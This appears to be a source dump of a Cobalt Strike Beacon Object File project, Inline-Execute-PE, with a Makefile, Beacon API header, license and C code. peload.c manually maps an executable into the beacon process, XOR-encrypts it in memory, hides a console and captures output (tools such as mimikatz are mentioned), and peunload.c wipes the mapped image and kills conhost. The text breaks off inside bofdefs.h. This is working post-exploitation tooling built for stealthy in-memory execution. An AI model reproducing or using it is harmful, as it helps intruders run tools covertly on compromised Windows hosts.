├── Inline-Execute-PE.gif ├── Inline-Execute-PE ├── peload.x64.o ├── perun.x64.o ├── peunload.x64.o ├── Makefile ├── beacon.h ├── peunload.c ├── peload.c ├── bofdefs.h ├── perun.c └── Inline-Execute-PE.cna ├── LICENSE └── README.md /Inline-Execute-PE.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/Inline-Execute-PE/main/Inline-Execute-PE.gif -------------------------------------------------------------------------------- /Inline-Execute-PE/peload.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/Inline-Execute-PE/main/Inline-Execute-PE/peload.x64.o -------------------------------------------------------------------------------- /Inline-Execute-PE/perun.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/Inline-Execute-PE/main/Inline-Execute-PE/perun.x64.o -------------------------------------------------------------------------------- /Inline-Execute-PE/peunload.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/Inline-Execute-PE/main/Inline-Execute-PE/peunload.x64.o -------------------------------------------------------------------------------- /Inline-Execute-PE/Makefile: -------------------------------------------------------------------------------- 1 | all: peload perun peunload 2 | 3 | peload: peload.c 4 | x86_64-w64-mingw32-gcc -c peload.c -o peload.x64.o -DBOF -Os 5 | 6 | perun: perun.c 7 | x86_64-w64-mingw32-gcc -c perun.c -o perun.x64.o -DBOF -Os 8 | 9 | peunload: peunload.c 10 | x86_64-w64-mingw32-gcc -c peunload.c -o peunload.x64.o -DBOF -Os 11 | -------------------------------------------------------------------------------- /Inline-Execute-PE/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | */ 14 | 15 | /* data API */ 16 | typedef struct { 17 | char * original; /* the original buffer [so we can free it] */ 18 | char * buffer; /* current pointer into our buffer */ 19 | int length; /* remaining length of data */ 20 | int size; /* total size of this buffer */ 21 | } datap; 22 | 23 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 24 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 25 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 26 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 27 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 28 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 29 | 30 | /* format API */ 31 | typedef struct { 32 | char * original; /* the original buffer [so we can free it] */ 33 | char * buffer; /* current pointer into our buffer */ 34 | int length; /* remaining length of data */ 35 | int size; /* total size of this buffer */ 36 | } formatp; 37 | 38 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 39 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 40 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 41 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 42 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 43 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 44 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 45 | 46 | /* Output Functions */ 47 | #define CALLBACK_OUTPUT 0x0 48 | #define CALLBACK_OUTPUT_OEM 0x1e 49 | #define CALLBACK_OUTPUT_UTF8 0x20 50 | #define CALLBACK_ERROR 0x0d 51 | 52 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 53 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 54 | 55 | 56 | /* Token Functions */ 57 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 58 | DECLSPEC_IMPORT void BeaconRevertToken(); 59 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 60 | 61 | /* Spawn+Inject Functions */ 62 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 63 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 64 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 65 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 66 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 67 | 68 | /* Utility Functions */ 69 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); -------------------------------------------------------------------------------- /Inline-Execute-PE/peunload.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "beacon.h" 3 | 4 | #pragma warning (disable: 4996) 5 | #define _CRT_SECURE_NO_WARNINGS 6 | #define ARRAY_MODULES_SIZE 128 7 | 8 | struct MemAddrs *pMemAddrs; 9 | BOOL bUnloadLibraries; 10 | 11 | FILE *__cdecl __acrt_iob_funcs(unsigned index) 12 | { 13 | return &(__iob_func()[index]); 14 | } 15 | 16 | #define stdin (__acrt_iob_funcs(0)) 17 | #define stdout (__acrt_iob_funcs(1)) 18 | #define stderr (__acrt_iob_funcs(2)) 19 | 20 | 21 | void cleanupModules(DWORD numberOfLoadedModules) { 22 | DWORD cbNeeded = -1; 23 | char modName[255] = {0}; 24 | 25 | HMODULE* hMods = calloc(ARRAY_MODULES_SIZE, sizeof(HMODULE)); 26 | 27 | //Populate list of DLL's in process and then iterate over them (starting from the index of the number of DLL's loaded before peload) freeing each one 28 | //Note that while the FreeLibrary calls seem to succeed (GetLastError returns 0), sometimes certain DLL's don't get unloaded... 29 | if (EnumProcessModules((HANDLE)-1, hMods, ARRAY_MODULES_SIZE * sizeof(HMODULE), &cbNeeded)) { 30 | for (DWORD i = numberOfLoadedModules; i < (cbNeeded / sizeof(HMODULE)); i++) { 31 | SetLastError(0); 32 | FreeLibrary(hMods[i]); 33 | 34 | /* //Debug- print module name of each DLL that we try and free. 35 | memset(modName, 0, 255); 36 | GetModuleFileNameA(hMods[i], modName, 255); 37 | BeaconPrintf(CALLBACK_OUTPUT, "Freeing module: %s GetLastError: %d\n", modName, GetLastError()); 38 | */ 39 | } 40 | BeaconPrintf(CALLBACK_OUTPUT, "Attempted to free DLL's loaded by PE!"); 41 | } 42 | free(hMods); 43 | 44 | return; 45 | } 46 | 47 | void KillConhost() 48 | { 49 | HANDLE hProcessSnap; 50 | PROCESSENTRY32 pe32; 51 | DWORD result; 52 | char* processname = "conhost.exe"; 53 | 54 | // Take a snapshot of all processes in the system. 55 | hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 56 | if (INVALID_HANDLE_VALUE == hProcessSnap) 57 | return; 58 | 59 | pe32.dwSize = sizeof(PROCESSENTRY32); 60 | 61 | // Retrieve information about the first process, 62 | // and exit if unsuccessful 63 | if (!Process32First(hProcessSnap, &pe32)) 64 | { 65 | CloseHandle(hProcessSnap); // clean the snapshot object 66 | return; 67 | } 68 | 69 | //Get current PID 70 | DWORD procID = GetCurrentProcessId(); 71 | 72 | //Iterate over every process, find all the conhost.exe 73 | do 74 | { 75 | if (0 == strcmp(processname, pe32.szExeFile)) 76 | { 77 | //If conhost.exe parent PID matches current procID (beacon), terminate the conhost 78 | if(pe32.th32ParentProcessID == procID) 79 | { 80 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD)pe32.th32ProcessID); 81 | TerminateProcess(hProcess, 0); 82 | CloseHandle(hProcess); 83 | break; 84 | } 85 | } 86 | 87 | } while (Process32Next(hProcessSnap, &pe32)); 88 | CloseHandle(hProcessSnap); 89 | 90 | return; 91 | } 92 | 93 | BOOL peUnload() 94 | { 95 | //Clean-up handles 96 | //Close write-end stdout and stderr pipe handles that were converted using open_osfhandle 97 | _close(pMemAddrs->fo); 98 | 99 | //Close read-end stdout and stderr pipe handles 100 | CloseHandle((VOID*)pMemAddrs->hreadout); 101 | 102 | //Close re-opened stdout/stderr FILE* fout and ferr 103 | //Default is to perform this action 104 | //If we timed out during execution we assume something went wrong and don't try to close these as it can cause beacon to hang. 105 | 106 | if(pMemAddrs->bCloseFHandles == TRUE) 107 | { 108 | fclose(pMemAddrs->fout); 109 | fclose(pMemAddrs->ferr); 110 | } 111 | 112 | //Free conhost.exe 113 | FreeConsole(); 114 | 115 | //Sometimes conhost.exe doesn't actually exit (observed with powershell.exe), so walk process list and kill conhost.exe if it exists 116 | KillConhost(); 117 | 118 | //Free PE memory 119 | memset((void*)pMemAddrs->pImageBase, 0, pMemAddrs->SizeOfImage); 120 | VirtualFree((LPVOID)pMemAddrs->pImageBase, 0, MEM_RELEASE); 121 | 122 | //Free Backup PE memory 123 | memset((void*)pMemAddrs->pBackupImage, 0, pMemAddrs->SizeOfImage); 124 | VirtualFree((LPVOID)pMemAddrs->pBackupImage, 0, MEM_RELEASE); 125 | 126 | //If bUnloadLibraries == TRUE, unload DLL's. This is default, but some PE's will crash if you try and unload the DLL's. 127 | //Observed with Powershell.exe, believe this is due to CLR being loaded by Powershell. 128 | if(bUnloadLibraries) 129 | cleanupModules(pMemAddrs->dwNumModules); 130 | 131 | //Free pMemAddr struct 132 | free(pMemAddrs); 133 | 134 | BeaconPrintf(CALLBACK_OUTPUT, "peunload successful"); 135 | } 136 | 137 | int go(IN PCHAR Buffer, IN ULONG Length) 138 | { 139 | datap parser; 140 | BeaconDataParse(&parser, Buffer, Length); 141 | 142 | int dataextracted = 0; 143 | char* pEnd; 144 | 145 | char* pMemAddrstr = BeaconDataExtract(&parser, &dataextracted); 146 | pMemAddrs = (struct MemAddrs*)_strtoi64(pMemAddrstr, &pEnd, 10); 147 | bUnloadLibraries = BeaconDataInt(&parser); 148 | 149 | /* //Debug 150 | BeaconPrintf(CALLBACK_OUTPUT, "beaconarg pMemAddrstr is: %s", pMemAddrstr); 151 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs is: %p!", pMemAddrs); 152 | BeaconPrintf(CALLBACK_OUTPUT, "bUnloadLibraries is: %d!", bUnloadLibraries); 153 | */ 154 | 155 | //Clear PE from memory and clean up handles, DLL's, etc 156 | peUnload(); 157 | 158 | return 0; 159 | } -------------------------------------------------------------------------------- /Inline-Execute-PE/peload.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "beacon.h" 3 | 4 | #pragma warning (disable: 4996) 5 | #define _CRT_SECURE_NO_WARNINGS 6 | #define ARRAY_MODULES_SIZE 128 7 | 8 | //PE vars 9 | IMAGE_NT_HEADERS* ntHeader = NULL; 10 | 11 | FILE *__cdecl __acrt_iob_funcs(int index) 12 | { 13 | return &(__iob_func()[index]); 14 | } 15 | 16 | #define stdin (__acrt_iob_funcs(0)) 17 | #define stdout (__acrt_iob_funcs(1)) 18 | #define stderr (__acrt_iob_funcs(2)) 19 | 20 | 21 | BYTE* getNtHdrs(BYTE* pe_buffer) 22 | { 23 | if (pe_buffer == NULL) return NULL; 24 | 25 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer; 26 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 27 | return NULL; 28 | } 29 | const LONG kMaxOffset = 1024; 30 | LONG pe_offset = idh->e_lfanew; 31 | if (pe_offset > kMaxOffset) return NULL; 32 | IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((BYTE*)pe_buffer + pe_offset); 33 | if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL; 34 | return (BYTE*)inh; 35 | } 36 | 37 | IMAGE_DATA_DIRECTORY* getPeDir(PVOID pe_buffer, size_t dir_id) 38 | { 39 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; 40 | 41 | BYTE* nt_headers = getNtHdrs((BYTE*)pe_buffer); 42 | if (nt_headers == NULL) return NULL; 43 | 44 | IMAGE_DATA_DIRECTORY* peDir = NULL; 45 | 46 | IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers; 47 | peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]); 48 | 49 | if (peDir->VirtualAddress == NULL) { 50 | return NULL; 51 | } 52 | return peDir; 53 | } 54 | 55 | void xorPE(char* pImageBase, DWORD sizeofimage, char* key) 56 | { 57 | //Copy key into char array for easier use in XOR function 58 | char temp[100] = {0}; 59 | memcpy(temp, key, strlen(key)); 60 | 61 | DWORD a = 0; 62 | 63 | while (a < sizeofimage) { 64 | //If byte isn't null, we xor it 65 | if(*(pImageBase + a) != 0x00) //if((*(pImageBase + a) != 0x00 ) && (*(pImageBase + a) ^ temp[a % strlen(temp)] != 0x00)) 66 | { 67 | //XOR byte using key 68 | *(pImageBase + a) ^= temp[a % strlen(temp)]; 69 | 70 | //If resulting byte is a null byte, we xor back to original 71 | if(*(pImageBase + a) == 0x00) 72 | { 73 | *(pImageBase + a) ^= temp[a % strlen(temp)]; 74 | } 75 | } 76 | a++; 77 | } 78 | memset(temp, 0, strlen(key)); 79 | return; 80 | } 81 | 82 | BOOL peLoader(char* data, int peLen, char* key) 83 | { 84 | //Create MemAddr struct to contain important values for the mapped PE 85 | struct MemAddrs *pMemAddrs = malloc(sizeof(struct MemAddrs)); 86 | memset(pMemAddrs, 0, sizeof(struct MemAddrs)); 87 | 88 | //------------------------------------------Manually map PE into memory------------------------------------------ 89 | 90 | LONGLONG fileSize = -1; 91 | LPVOID preferAddr = 0; 92 | ntHeader = (IMAGE_NT_HEADERS*)getNtHdrs(data); 93 | if (!ntHeader) 94 | { 95 | BeaconPrintf(CALLBACK_OUTPUT, "[-] File isn't a PE file."); 96 | BeaconPrintf(CALLBACK_OUTPUT, "peload failure"); 97 | 98 | //Free pMemAddr struct 99 | free(pMemAddrs); 100 | 101 | return FALSE; 102 | } 103 | 104 | IMAGE_DATA_DIRECTORY* relocDir = getPeDir(data, IMAGE_DIRECTORY_ENTRY_BASERELOC); 105 | preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase; 106 | //BeaconPrintf(CALLBACK_OUTPUT, "[+] Exe File Prefer Image Base at %x\n", preferAddr); 107 | 108 | HMODULE dll = LoadLibraryA("ntdll.dll"); 109 | ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase); 110 | 111 | pMemAddrs->pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 112 | if (!pMemAddrs->pImageBase && !relocDir) 113 | { 114 | BeaconPrintf(CALLBACK_OUTPUT, "[-] Allocate Image Base At %x Failure.\n", preferAddr); 115 | BeaconPrintf(CALLBACK_OUTPUT, "peload failure"); 116 | 117 | //Free pMemAddr struct 118 | free(pMemAddrs); 119 | 120 | return FALSE; 121 | } 122 | if (!pMemAddrs->pImageBase && relocDir) 123 | { 124 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Try to Allocate Memory for New Image Base\n"); 125 | pMemAddrs->pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 126 | if (!pMemAddrs->pImageBase) 127 | { 128 | BeaconPrintf(CALLBACK_OUTPUT, "[-] Allocate Memory For Image Base Failure.\n"); 129 | BeaconPrintf(CALLBACK_OUTPUT, "peload failure"); 130 | 131 | //Free pMemAddr struct 132 | free(pMemAddrs); 133 | 134 | return FALSE; 135 | } 136 | } 137 | 138 | ntHeader->OptionalHeader.ImageBase = (size_t)pMemAddrs->pImageBase; 139 | memcpy(pMemAddrs->pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders); 140 | 141 | IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)((size_t)(ntHeader) + sizeof(IMAGE_NT_HEADERS)); 142 | for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) 143 | { 144 | //BeaconPrintf(CALLBACK_OUTPUT, " [+] Mapping Section %s\n", SectionHeaderArr[i].Name); 145 | memcpy((LPVOID)((size_t)(pMemAddrs->pImageBase) + SectionHeaderArr[i].VirtualAddress), (LPVOID)((size_t)(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData); 146 | } 147 | 148 | //Update struct with EntryPoint, ImageSize 149 | pMemAddrs->AddressOfEntryPoint = ntHeader->OptionalHeader.AddressOfEntryPoint; 150 | pMemAddrs->SizeOfImage = ntHeader->OptionalHeader.SizeOfImage; 151 | 152 | //Encrypt PE in memory 153 | xorPE(pMemAddrs->pImageBase, pMemAddrs->SizeOfImage, key); 154 | 155 | //Now create back-up of PE in memory so we can restore it in-between runs. 156 | //Some PE's can run multiple times without issues, other crash on 2nd run for unknown reasons. Remapping works fine. 157 | pMemAddrs->pBackupImage = (BYTE*)VirtualAlloc(NULL, pMemAddrs->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 158 | memcpy(pMemAddrs->pBackupImage, pMemAddrs->pImageBase, pMemAddrs->SizeOfImage); 159 | 160 | //Enumerate all loaded DLL's before we have map/run the new PE to establish baseline so we can unload DLL's later 161 | DWORD cbNeeded; 162 | HMODULE* loadedModules = calloc(ARRAY_MODULES_SIZE, sizeof(HMODULE)); 163 | EnumProcessModules((HANDLE)-1, loadedModules, ARRAY_MODULES_SIZE * sizeof(HMODULE), &cbNeeded); 164 | pMemAddrs->dwNumModules = cbNeeded / sizeof(HMODULE); 165 | free(loadedModules); 166 | 167 | //------------------------Now create conhost.exe, setup stdout/stderr, and redirect output----------------------- 168 | 169 | //Allocate Console 170 | BOOL suc = AllocConsole(); 171 | 172 | //Immediately hide window 173 | ShowWindow(GetConsoleWindow(), SW_HIDE); 174 | 175 | //Reopen stdout/stderr and associate to new FILE* fout and ferr 176 | freopen_s(&pMemAddrs->fout, "CONOUT$", "r+", stdout); 177 | freopen_s(&pMemAddrs->ferr, "CONOUT$", "r+", stderr); 178 | 179 | //Set pMemAddrs->bCloseFHandles to TRUE by default 180 | //This distinction is necessary because depending on whether we bail on execution during perun, we have to alter how we cleanup 181 | pMemAddrs->bCloseFHandles = TRUE; 182 | 183 | //Create an Anonymous pipe for both stdout and stderr 184 | SECURITY_ATTRIBUTES sao = { sizeof(sao),NULL,TRUE }; 185 | CreatePipe(&pMemAddrs->hreadout, &pMemAddrs->hwriteout, &sao, 0); 186 | 187 | //Set StandardOutput and StandardError in PEB to write-end of anonymous pipe 188 | SetStdHandle(STD_OUTPUT_HANDLE, pMemAddrs->hwriteout); 189 | SetStdHandle(STD_ERROR_HANDLE, pMemAddrs->hwriteout); 190 | 191 | //Create File Descriptor from the Windows Handles for write-end of anonymous pipe 192 | pMemAddrs->fo = _open_osfhandle((intptr_t)(pMemAddrs->hwriteout), _O_TEXT); 193 | 194 | //These redirect output from mimikatz 195 | //Reassign reopened FILE* for stdout/stderr to the File Descriptor for the anonymous pipe 196 | _dup2(pMemAddrs->fo, _fileno(pMemAddrs->fout)); 197 | _dup2(pMemAddrs->fo, _fileno(pMemAddrs->ferr)); 198 | 199 | //These redirect output from cmd.exe. Not sure why these are valid/necessary given that _freopen_s SHOULD close original FD's (1 and 2) 200 | //Reassign original FD's for stdout/stderr to the File Descriptor for the anonymous pipe 201 | _dup2(pMemAddrs->fo, 1); 202 | _dup2(pMemAddrs->fo, 2); 203 | 204 | //Send output back to CS to update petable with MemAddr Struct location 205 | char pMemAddrstr[20] = {0}; 206 | sprintf_s(pMemAddrstr, 20, "%" PRIuPTR, (uintptr_t)pMemAddrs); 207 | BeaconPrintf(CALLBACK_OUTPUT, "peload %s", pMemAddrstr); 208 | } 209 | 210 | int go(IN PCHAR Buffer, IN ULONG Length) 211 | { 212 | datap parser; 213 | BeaconDataParse(&parser, Buffer, Length); 214 | 215 | int dataextracted = 0; 216 | int peLen = 0; 217 | 218 | char* data = BeaconDataExtract(&parser, &peLen); 219 | char* key = BeaconDataExtract(&parser, &dataextracted); 220 | 221 | //Map PE into memory 222 | peLoader(data, peLen, key); 223 | 224 | return 0; 225 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Inline-Execute-PE/bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | //MSVCRT 13 | WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); 14 | WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size); 15 | WINBASEAPI size_t __cdecl MSVCRT$strlen(const char*); 16 | WINBASEAPI void *__cdecl MSVCRT$memcpy(void*, void*, size_t); 17 | WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); 18 | WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 19 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); 20 | WINBASEAPI int __cdecl MSVCRT$_stricmp (LPCSTR lpString1, LPCSTR lpString2); 21 | WINBASEAPI int __cdecl MSVCRT$_dup (int _FileHandle); 22 | WINBASEAPI int __cdecl MSVCRT$_dup2(int _FileHandleSrc, int _FileHandleDst); 23 | WINBASEAPI int __cdecl MSVCRT$_open_osfhandle(intptr_t _OSFileHandle, int _Flags); 24 | WINBASEAPI int __cdecl MSVCRT$_fileno(FILE* 